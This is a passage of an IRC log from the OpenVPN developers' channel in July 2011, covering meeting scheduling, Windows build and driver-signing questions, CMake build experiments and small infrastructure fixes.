considered to relocate to Europe? ;-) 14:04 <@dazo> (only kidding, of course) 14:04 <@jamesyonan> I do like Europe :) 14:04 <@dazo> :) 14:04 <@mattock> which country especially? 14:04 <@dazo> mattock: that's so daring, it's almost rude!! :-P 14:04 < andj> 18:00 UTC is 20:00 here, could we start a little earlier, say at 15:00 or 16:00 UTC? 14:05 <@jamesyonan> I've been to Sweden, Switzerland, Italy 14:05 <@mattock> and Finland, actually 14:05 <@mattock> if I recall correctly 14:05 <@jamesyonan> I walked into Italy once over the mountains from Switzerland 14:05 <@dazo> nice 14:06 <@jamesyonan> right -- took the train once from St. Petersburg to Helsinki 14:07 <+ecrist> I've looked at maps of Europe... 14:07 <@mattock> ecrist: that's a good start 14:07 <@mattock> :P 14:07 <@raidz> HAHA 14:07 <+ecrist> realized I can't bring my guns into most places, though 14:08 <@mattock> anyways, I'd say that we should try to arrange at least part of the sprints in European time 14:08 <@dazo> ecrist: it's only rednecks who believe you need guns in Europe .... :-P 14:08 * dazo hides 14:08 <@jamesyonan> but these days I'm so swamped with work that probably the easiest way for me to be on European time is to work all night 14:08 * ecrist notes color of his neck, wonders what the problem is. ;) 14:08 < andj> mattock: finding a good compromise is fine, but 20:00 is a listtle late :) 14:08 <@mattock> +1 14:08 <@dazo> +1 14:09 <@mattock> jamesyonan: what if we make case-by-case decisions? 14:09 <@mattock> if it's clear we need your input, let's arrange them around this time 14:09 < andj> which is why I would like to start a little earlier this time, as I think we have a lot of ground to cover 14:09 < andj> so 1 or two hours earlier? 14:10 <@mattock> that would be better for me, too 14:10 <@dazo> yeah, that makes sense 14:10 < andj> which would make it 18:00 UTC = 9:00 PDT? :) 14:10 <@mattock> 18:00 UTC is 11:00 PST (California time) 14:11 <@mattock> jamesyonan: what's your timezone? 14:11 <+ecrist> 1800 UTC is 1PM CST 14:11 <@dazo> I'm just afraid of 2 hours before ... as that would easily slid into 3 hours meetings (2h reviewing + 1h meeting) ... that can be exhaustive, and I doubt it would make my wife happy 14:11 <@mattock> we can cut them short and setup another sprint? 14:12 <@mattock> I think 2 hours is about the max 14:12 <@dazo> if we decide 1h only sprint + max 1h meeting ... them I'm fine ... if it's a break in between or not, that's okay 14:12 <@dazo> yeah, more fries my head, after having had 8 hours at work 14:13 <@mattock> also, sprints take over some of the "functionality" of the meetings 14:13 <@mattock> so meetings should be shorter 14:13 <@jamesyonan> I'm usually on MST, which is one hour later than California time 14:13 < andj> Sure, let's just start with Thursday then, I've put in my 2 cents about the time, and will follow when others have time 14:14 <@mattock> next meeting/sprint starting at 17:00 UTC next Thursday? 14:14 <@mattock> ok for everyone? 14:14 < andj> sounds good 14:14 <@dazo> fine for me! 14:14 <@jamesyonan> works for me 14:14 <@mattock> and in the future, we can arrange ad hoc sprints in european time, unless James' input is needed 14:14 <@dazo> sounds good 14:14 <@mattock> which may not be the case every time 14:15 <@mattock> ok, I think we've covered a lot today :) 14:15 <@mattock> anything else? 14:15 <@mattock> I assume there's no solution to the Win7 DHCP NAK bomb issue? 14:16 <@dazo> we need to catch up on janjust on that one ... I think he dropped the ball due to holiday season or so ... I think it's been quite quiet from him lately (esp. here on IRC) 14:16 <@mattock> ok 14:17 <@mattock> ok, if there's nothing else, let's call this a day 14:17 <@mattock> I can actually write summary now, it's only 12:17 here 14:17 <@mattock> (after lunch, probably) 14:18 <@mattock> see you later, guys! 14:18 < andj> Thanks, see you! 14:18 <@dazo> perfect! 14:18 <@dazo> thanks a lot, everyone! 14:18 <@jamesyonan> take care 14:19 < andj> and let me know if you find anything/need anything befor that 14:39 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 14:47 -!- andj [~adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has quit [Changing host] 14:47 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 14:49 -!- mode/#openvpn-devel [+o andj] by ChanServ 15:04 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 15:07 -!- grendal-prime [~sgraham@2001:470:822a:205:226:c7ff:fecd:a1e2] has quit [Read error: Connection reset by peer] 15:28 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn-devel 15:28 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host] 15:28 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:28 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:34 -!- dazo is now known as dazo_afk 15:54 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 16:16 -!- s7r [~s7r@unaffiliated/s7r] has left #openvpn-devel [] 17:16 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 18:45 -!- raidz [~Administr@openvpn/corp/admin/andrew] has left #openvpn-devel [] 18:45 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 18:45 -!- mode/#openvpn-devel [+o raidz] by ChanServ 19:27 -!- jamesyonan [~jamesyona@50-76-49-94-ip-static.hfc.comcastbusiness.net] has quit [Quit: jamesyonan] 19:28 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 255 seconds] 22:04 -!- dkdog [3afb58bc@gateway/web/freenode/ip.58.251.88.188] has joined #openvpn-devel 23:48 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel --- Day changed Fri Jul 08 2011 00:41 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 00:54 -!- dkdog [3afb58bc@gateway/web/freenode/ip.58.251.88.188] has quit [] 00:57 -!- raidz [~Administr@openvpn/corp/admin/andrew] has quit [Read error: Connection reset by peer] 00:59 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 00:59 -!- mode/#openvpn-devel [+o raidz] by ChanServ 02:16 <@andj> Morning 02:16 <@andj> I'm looking into a design for a windows build machine 02:16 <@andj> and was wondering what experience you guys have with building on Windows 02:17 <@andj> Is it viable to build on 32-bit Windows 7, and then reuse the binaries on Windows XP, 64-bit windows 7, and windows server 2008/2010? 02:29 <+krzee> https://community.openvpn.net/openvpn/wiki/BuildingOnWindows 02:29 <@vpnHelper> Title: BuildingOnWindows – OpenVPN Community (at community.openvpn.net) 02:30 <+krzee> we have 1 build for all windows, so i would assume so 02:48 <@d12fk> !git 02:48 <@vpnHelper> "git" is (#1) For the stable git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn.git, or (#2) For the development git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn-testing.git, or (#3) Browse the git repositories here: http://openvpn.git.sourceforge.net/git/gitweb-index.cgi, or (#4) See !git-doc how to use git 02:55 -!- dazo_afk is now known as dazo 02:58 <@dazo> andj: re: winbuild .... we're using MS Visual Studio for the official builds now (the python build stuff) ... but we're looking into fixing the mingw support as well 02:59 <@dazo> I think we do builds on 64bit (mattock would know) but create 32bit binaries there 02:59 <@d12fk> dazo: what repo should I use for patches 02:59 <@dazo> d12fk: master branch in both stable and testing should be in sync, so whichever master branch is convenient for you 03:00 <@d12fk> ok thanks 03:23 <@andj> krzee, dazo: thanks for all the answers, I'll setup a 64-bit windows machine then! 03:46 -!- patelx [~patel@openvpn/corp/admin/patel] has quit [Ping timeout: 246 seconds] 03:48 -!- raidz [~Administr@openvpn/corp/admin/andrew] has quit [Ping timeout: 255 seconds] 03:49 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 03:49 -!- mode/#openvpn-devel [+o raidz] by ChanServ 03:52 -!- patel [~patel@50-76-49-94-ip-static.hfc.comcastbusiness.net] has joined #openvpn-devel 07:58 < cron2_> dazo/mattock: IPV6_*PKTINFO is jjo's "fix multihome for v6" patch. Can't say anything regarding that. 07:58 <@dazo> cron2_: thx! When I begin looking closer at it, I began to sense that 07:59 < cron2_> I looked into that patch, but it didn't make sense to me (as the reference given is doing something completely different with it) 07:59 < cron2_> but then, I didn't google further, which is why I didn't speak up yet 08:00 <@dazo> mm ... well, I'll shoot JJO a mail about it then 10:06 -!- d12fk [~heiko@2001:1a80:2000:2:21f:c6ff:fe44:aec8] has quit [Remote host closed the connection] 10:09 -!- d12fk [~heiko@port-92-198-130-130.static.qsc.de] has joined #openvpn-devel 10:09 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 10:37 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:38 -!- mode/#openvpn-devel [+o mattock] by ChanServ 12:58 -!- dazo is now known as dazo_afk 13:00 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 13:59 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 15:14 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 255 seconds] --- Day changed Sat Jul 09 2011 08:24 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 08:49 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 246 seconds] 12:52 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 12:52 -!- mode/#openvpn-devel [+v krzee] by ChanServ 13:40 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 15:24 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn-devel 15:24 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host] 15:24 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:24 -!- mode/#openvpn-devel [+v krzee] by ChanServ 17:56 -!- s7r [~s7r@unaffiliated/s7r] has left #openvpn-devel [] 20:07 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 20:31 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 20:31 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Sun Jul 10 2011 08:24 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 09:04 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 09:04 -!- mode/#openvpn-devel [+v krzee] by ChanServ 13:26 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 13:54 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has quit [Ping timeout: 240 seconds] 13:56 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has joined #openvpn-devel 15:24 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 15:42 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn-devel 15:42 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host] 15:42 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:42 -!- mode/#openvpn-devel [+v krzee] by ChanServ 17:46 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 21:37 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has quit [Ping timeout: 252 seconds] 23:50 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel --- Day changed Mon Jul 11 2011 01:10 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 01:32 -!- dazo_afk is now known as dazo 03:00 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 04:18 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 252 seconds] 04:21 -!- andj [~adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has joined #openvpn-devel 04:21 -!- andj [~adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has quit [Changing host] 04:21 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 04:21 -!- mode/#openvpn-devel [+o andj] by ChanServ 04:35 -!- jam_ [jamx@2a01:4f8:140:5243::1234] has joined #openvpn-devel 04:40 -!- Netsplit *.net <-> *.split quits: jamx 06:20 <@andj> Hi everyone 06:20 <@andj> anyone with some code signing experience on Windows around? 06:21 <@andj> More specifically: does the TAP driver need to be signed by a kernel-mode code signing certificate? 07:01 <@dazo> andj: good question ... well, I think the driver only needs to be signed for W7 and Vista ... however, I would expect it to be a kernel-mode thingy, as it is both a driver and a virtual NIC - but I'm not sure how MS interprets/defines what kernel mode is supposed to be or not 07:02 <@dazo> andj: mattock is one who might have most lately experience ... or else d12fk does do some Windows development as well, but not sure if he cares about signing 07:02 <@andj> I'm assuming it is for the moment, makes the required certificate slightly more expensive 07:04 <@dazo> aha 07:06 <@d12fk> andj: i didn't know there were certs specific for kernel mode signing 07:07 <@andj> d12fk: They're cross-signed by MS 07:08 <@andj> If I understand correctly 09:17 <+ecrist> ping mattock/raidz 09:17 <+ecrist> mostly mattock 09:17 -!- Irssi: #openvpn-devel: Total of 16 nicks [6 ops, 0 halfops, 2 voices, 8 normal] 09:24 <+ecrist> the host pwm sits on seems to not have pwm running. 09:24 <+ecrist> users cannot create accounts, and I don't seem to have access to that box. 09:24 <+ecrist> :\ 09:27 -!- Essobi [~Essobi@74.128.237.214] has joined #openvpn-devel 09:41 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 09:41 -!- mode/#openvpn-devel [+v krzee] by ChanServ 09:45 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 09:51 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn-devel 09:51 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host] 09:51 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 09:51 -!- mode/#openvpn-devel [+v krzee] by ChanServ 09:53 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 09:54 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn-devel 09:54 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host] 09:54 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 09:54 -!- mode/#openvpn-devel [+v krzee] by ChanServ 09:57 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 09:59 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn-devel 09:59 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host] 09:59 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 09:59 -!- mode/#openvpn-devel [+v krzee] by ChanServ 10:29 <@raidz> hey ecrist 10:30 <@raidz> I will get in touch with mattock and see what the problem is 10:47 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 11:00 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Remote host closed the connection] 11:04 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn-devel 11:04 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host] 11:04 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 11:04 -!- mode/#openvpn-devel [+v krzee] by ChanServ 11:04 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 11:05 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:05 -!- mode/#openvpn-devel [+o mattock] by ChanServ 11:08 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 11:08 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:08 -!- mode/#openvpn-devel [+o mattock] by ChanServ 11:28 -!- jam_ is now known as jamx 12:00 -!- dazo is now known as dazo_afk 12:40 <+ecrist> ok 12:40 <@raidz> ecrist: it is back up now 12:40 <@raidz> mattock thinks it was some possible memory leak 12:41 <+ecrist> is pwm some non-community machine? 12:41 <+ecrist> why isn't it on the community box, with ldap and trac? 12:42 <@mattock> ecrist: actually, there was a firewall issue there 12:43 <@mattock> it's not on the community box because the intent was to migrate LDAP (and pwm) away from it 12:43 <@mattock> but the migration is taking some time 12:43 <@mattock> so, LDAP is on community, whereas pwm is on another VM 12:43 <+ecrist> ah 12:44 <@mattock> so far (except for this firewall issue) there have not been any (big) problems with pwm <-> LDAP connectivity 12:46 <@mattock> actually, to be correct, LDAP connectivity was up, but pwm was unreachable 13:34 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 13:34 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:35 <+ecrist> right, that was the problem. 13:36 <+ecrist> and I didn't have access/knowledge to fix it. :( 13:37 <@mattock> ecrist: I'll create an account for you 13:38 <+ecrist> :) 16:03 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 16:13 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 16:55 <@mattock> topic list for next meeting/sprint now here: https://community.openvpn.net/openvpn/wiki/Topics-2011-07-14 16:55 <@vpnHelper> Title: Topics-2011-07-14 – OpenVPN Community (at community.openvpn.net) 19:03 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 252 seconds] 19:05 -!- cron2_ [~gert@kirk.greenie.muc.de] has quit [Ping timeout: 240 seconds] 19:05 -!- cron2 [~gert@kirk.greenie.muc.de] has joined #openvpn-devel 19:37 -!- cron2 [~gert@kirk.greenie.muc.de] has quit [Ping timeout: 276 seconds] 20:06 -!- cron2 [~gert@kirk.greenie.muc.de] has joined #openvpn-devel 23:52 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel --- Day changed Tue Jul 12 2011 00:00 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] --- Log closed Tue Jul 12 01:15:52 2011 --- Log opened Tue Jul 12 01:15:59 2011 01:15 -!- ecrist [~ecrist@openvpn/community/support/ecrist] has joined #openvpn-devel 01:15 -!- Irssi: #openvpn-devel: Total of 17 nicks [6 ops, 0 halfops, 1 voices, 10 normal] 01:16 -!- mode/#openvpn-devel [+v ecrist] by ChanServ 01:16 -!- Irssi: Join to #openvpn-devel was synced in 37 secs 01:20 -!- dazo_afk is now known as dazo 05:54 -!- dazo is now known as dazo_afk 06:28 -!- dazo_afk is now known as dazo 08:42 -!- dazo is now known as dazo_afk 08:52 -!- dazo_afk is now known as dazo 10:46 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:46 -!- mode/#openvpn-devel [+o mattock] by ChanServ 10:56 -!- dazo is now known as dazo_afk 11:21 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 11:41 -!- psha [~psha@213.208.162.69] has quit [Read error: No route to host] 11:46 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 14:05 -!- psha [~psha@213.208.162.69] has quit [Ping timeout: 246 seconds] 14:06 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 14:41 -!- openvpn2009 [~a@openvpn/corp/admin/patel] has quit [Ping timeout: 276 seconds] 15:28 <@andj> mattock: I added a link to github to the meeting topics 15:29 <@mattock> ok, nice! 15:29 <@andj> Because there's slightly more than those 28 patches :) 15:33 <@andj> Would you mind if I update the list? Place them in alphabetical order, and add the missing ones? 15:33 <@andj> sorry, not alphabetical, commit history order 15:33 <@andj> I meant 15:52 <@andj> mattock: fully updated now 16:14 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 16:16 <@mattock> andj: great! 18:26 <+ecrist> sup bitches? 18:49 < patel> ^^ 18:52 <@raidz> weeeeeeeeeee 18:54 <+ecrist> I think I'm going to grab a beverage and try to hammer out this vBulletin LDAP stuff 18:54 <+ecrist> I want that project to go away. 18:55 <@mattock> alcoholic beverage, I presume? 18:55 <+ecrist> is there any other kind? 18:55 < patel> Grape soda :P 18:55 <+ecrist> with rum? 18:56 < patel> haha 18:57 <@raidz> wild turkey 18:57 <@raidz> bombay saphire 18:57 <+ecrist> oh, my mistake 18:57 <+ecrist> my beverage of choice this evening shall be Gentleman Jack + Dr Pepper 18:57 <@raidz> ecrist: I am impressed 18:57 <@raidz> most people stick with plain old Jack 18:57 <@raidz> which sucks 18:58 <@raidz> Gentleman Jack is way better 18:58 <+ecrist> I like regular Jack. I _love_ Gentleman Jack 18:58 <@raidz> Thats all my grandpa drinks, lulz, you goto his place and hi will have at least 10-15 bottles in a cabinet at any time 19:06 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 252 seconds] 19:17 <+ecrist> doh, mattock needs a better connection, or an IRC bouncer 19:31 <+ecrist> ugh, I forgot where I left this. it's working code, but hardly in a condition in which I can contribute it for the greater good 19:31 <+ecrist> :\ 19:44 <+ecrist> we need a graphics guy/gal, too 23:27 -!- patelx [~a@openvpn/corp/admin/patel] has joined #openvpn-devel 23:27 -!- mode/#openvpn-devel [+o patelx] by ChanServ 23:52 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel --- Day changed Wed Jul 13 2011 00:27 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 02:21 -!- dazo_afk is now known as dazo 05:21 -!- raidz [~Administr@openvpn/corp/admin/andrew] has quit [Read error: Connection reset by peer] 10:34 -!- mattock [~mattock@50-76-49-94-ip-static.hfc.comcastbusiness.net] has joined #openvpn-devel 10:34 -!- mattock [~mattock@50-76-49-94-ip-static.hfc.comcastbusiness.net] has quit [Changing host] 10:34 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:34 -!- mode/#openvpn-devel [+o mattock] by ChanServ 10:37 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 10:37 -!- mode/#openvpn-devel [+o raidz] by ChanServ 10:46 <+ecrist> *sigh* this OTR shit is buggy 10:46 <@dazo> in xchat? 10:47 <+ecrist> gah 10:47 <+ecrist> irssi 10:47 <@dazo> Ahh 10:48 <@raidz> ecrist: so Axeman is getting auto-voiced by chanserv in #openvpn-as, he was asking about why he had it, was that on purpose? 10:49 <+ecrist> he got auto-voiced becuase he has a host cloak and the user mask for +V in openvpn-as is relatively unrestricted. 10:49 <+ecrist> I can fix it, if you like. 10:49 <@raidz> I actually don't mind 10:49 <@raidz> just curious 10:49 <+ecrist> I noticed it earlier, but figured it's a neat ++ for users with an openvpn cloak 10:49 <+ecrist> my breed some loyalty 10:49 <@raidz> agreed :-) 10:50 <+ecrist> was considering doing the same in the main channel 10:53 <@raidz> I think thats a good idea 10:53 <+ecrist> just did it 10:54 <@raidz> :-D 12:04 -!- dazo is now known as dazo_afk 14:06 <@andj> Hmm, after comparing building PolarSSL (with cmake) and OpenVPN on windows, I'm seriously considering just creating a CMakelists.txt for OpenVPN and building it that way :) 14:06 <@andj> and you can take that as flamebait, but it's not meant that way :) 15:14 <@mattock> andj: ah, you sure added stuff to the meeting topic list :D 15:43 <+ecrist> mattock: you played with Invasion Power Board at all? 16:09 <@mattock> ecrist: nope 16:10 <@mattock> I'll check it out now 16:11 <@mattock> ecrist: have you used it? 16:27 <+ecrist> no 16:28 <+ecrist> I was hoping to find someone that had a copy I could play with and evaluate 16:28 <+ecrist> they have a hosted solution you can demo, but I'm not interested in making our ldap server publicly exposed. 18:32 <@mattock> agreed 18:32 <@mattock> we now have a Scientific Linux 6.0 buildslave 18:32 <@mattock> finally had time to set it up 18:32 <@mattock> it's equal to RedHat 6.0 for all practical intents and purposes 19:17 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] --- Day changed Thu Jul 14 2011 01:02 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Read error: Connection reset by peer] 01:07 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 01:07 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 01:33 -!- dazo_afk is now known as dazo 03:11 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Read error: Connection reset by peer] 03:17 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 03:17 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 04:45 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Read error: Connection reset by peer] 04:47 <@andj> There seems to be a small problem on Windows with the current master 04:48 <@andj> There's a README.ipv6 and a README.IPv6 04:48 <@andj> and those become one file on Windows :) 04:48 <@andj> same goes for TODO.ipv6 and TODO.IPv6 04:51 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 04:51 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 05:02 <@dazo> andj: yeah, I believe we're trying to get cron2 fix that ... he has probably just been too busy 05:02 <@dazo> one of them belongs to the IPv6 payload patches, and the other one IPv6 transport patches 05:28 <@andj> yeah, thanks :) 05:28 <@andj> dazo: I'll live with it for now :) 05:29 <@andj> I'm planning on creating a CMake build file in a sec, getting the windows build system to play nice with PolarSSL worked, but feels really hacky 05:29 <@andj> Since it parses Makefile.am 05:30 <@dazo> heh ... neat ... well, this can get interesting :) 05:31 <@andj> I don't want to push anything, just playing around for our own automated builds :) 05:32 <@dazo> if you make sure that it works with CMake 2.4, we might consider merging it ... if it makes building and maintaining build system easier ... we *might even* be able to kick out the python winbuild stuff too ... but this will take a long time to mature and convince people 05:32 <@dazo> The reason for cmake 2.4 is that we need to support RHEL4, which I believe ships that version 05:33 <@andj> The python stuff is quite useful for packaging and signing 05:33 <@andj> It's only the build part I'm playing with :) 05:33 * andj thinks about autogenerated visual studio projects 05:33 <@dazo> well, that's still worth it in my eyes 05:34 <@andj> even though I couldn't find the signtool wrapper class anywhere... Is it openvpn proprietary? 05:34 <@andj> Anyway, I'm just going to spend a little time playing with it 05:35 <@dazo> heh ... the signtool stuff, I don't know anything about at all ... I thought that was something available via some MS tools 05:35 <@andj> No promises, and hopefully no toes stepped on 05:35 <@andj> yeah, it is, but the win build system uses a signtool python wrapper 05:35 <@andj> which I think is openvpn inc. internal 05:35 <@dazo> mattock knows more about the Visual Studio crap ... as he managed to make the current python build system work ... 05:36 <@dazo> and mattock will be doing the driver signing in the future as well 05:36 <@andj> Yeah, we need to do our own signing at some point though 05:37 <@dazo> mm 05:37 <@andj> as we'll be distributing the "government-approved" version of OpenVPN here 05:37 <@andj> and they like knowing the build process was done by us, not someone else 05:37 <@andj> But I think I have it figured out now 05:38 <@andj> It's not too difficult, you just need a special MS-crosssigned code signing certificate from either verisign or globalsigh 05:38 <@dazo> ahh, good point 05:38 <@andj> -h+n 06:22 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn-devel 06:22 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host] 06:22 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 06:22 -!- mode/#openvpn-devel [+v krzee] by ChanServ 06:23 <@andj> dazo: CMake 2.4 is quite ancient, which OS still has that? 06:37 <@dazo> RHEL4 06:37 <@dazo> and RHEL5, as well 06:38 * dazo have troubles building eurephia for RHEL5, as he used 2.6 06:39 <@andj> I'll see what I can do, no guarantees though... 2.6 should be more manageable 06:40 <@dazo> 2.6 is decent to work with, and no compatibility issues with 2.8 06:40 <@dazo> (which I've stumbled over, at least) 06:40 <@andj> There's some fixes in the 2.8 RPM cpack code I think 06:40 <@dazo> ahh 06:40 <@andj> But since I'm not packaging at the moment :) 06:40 <@dazo> :) 06:41 <@dazo> well, if there should be a chance to get this upstream ... support for RHEL4 is a must, that's the minimum defined support level on Linux 06:43 <@dazo> oh gee ... Gooze is active on the mailing list again, doing their marketing stuff once again 06:43 <@andj> Yeah, I noticed :) 06:45 <@andj> There's a better way of getting features you need: code them, then donate them to the community, including support :) 06:45 <@dazo> yeah, which was basically what was said last time too, iirc 08:32 -!- dazo is now known as dazo_afk 08:34 -!- dazo_afk is now known as dazo 08:53 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 10:39 -!- mattock [~mattock@50-76-49-94-ip-static.hfc.comcastbusiness.net] has joined #openvpn-devel 10:39 -!- mattock [~mattock@50-76-49-94-ip-static.hfc.comcastbusiness.net] has quit [Changing host] 10:39 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:39 -!- mode/#openvpn-devel [+o mattock] by ChanServ 11:15 <@mattock> meeting/sprint starting in 45 mins... (17:00 UTC) 11:15 <@mattock> cron2: there already? 11:15 -!- raidz [~Administr@openvpn/corp/admin/andrew] has left #openvpn-devel [] 11:15 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 11:15 -!- mode/#openvpn-devel [+o raidz] by ChanServ 11:47 <@andj> mattock: I've been playing around with Windows builds too 11:47 <@mattock> using VS? 11:48 <@andj> Yeah, but it hurt a little, since I changed Makefile.am to have an optional section 11:48 <@andj> that is dependent on the polar/openssl choice 11:48 <@andj> So I've been playing around with CMake too :) 11:49 <@andj> Got quite a bit of the configure.ac file converted, but not all of it 11:55 <@mattock> nice! 11:56 <@mattock> I just generated the first Windows snapshot installer based on the tmp/winbuildfix branch in openvpn-testing.git 11:56 <@mattock> smoketested it, seems to work 11:56 <@mattock> I'll announce it on openvpn-devel now 11:56 <@mattock> and later on forums and users 12:00 <@mattock> (will be here in a few mins, writing the email) 12:04 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 12:04 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 12:06 <@dazo> hey, jamesyonan :) 12:06 <@jamesyonan> hi 12:07 <@dazo> how is going with you nowadays? 12:07 <@dazo> getting any progress on the git stuff? 12:07 <@andj> evening 12:08 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Quit: Leaving] 12:08 <@jamesyonan> I working on the git stuff but I'm not quite there yet 12:08 * dazo got some merge conflicts to solve from the SVN tree before he can push it out 12:08 <@mattock> ok, finally 12:08 <@andj> dazo: had a chance to look at a few more of the doxygen patches? 12:08 <@mattock> hi guys 12:09 <@mattock> topics here: https://community.openvpn.net/openvpn/wiki/Topics-2011-07-14 12:09 <@vpnHelper> Title: Topics-2011-07-14 – OpenVPN Community (at 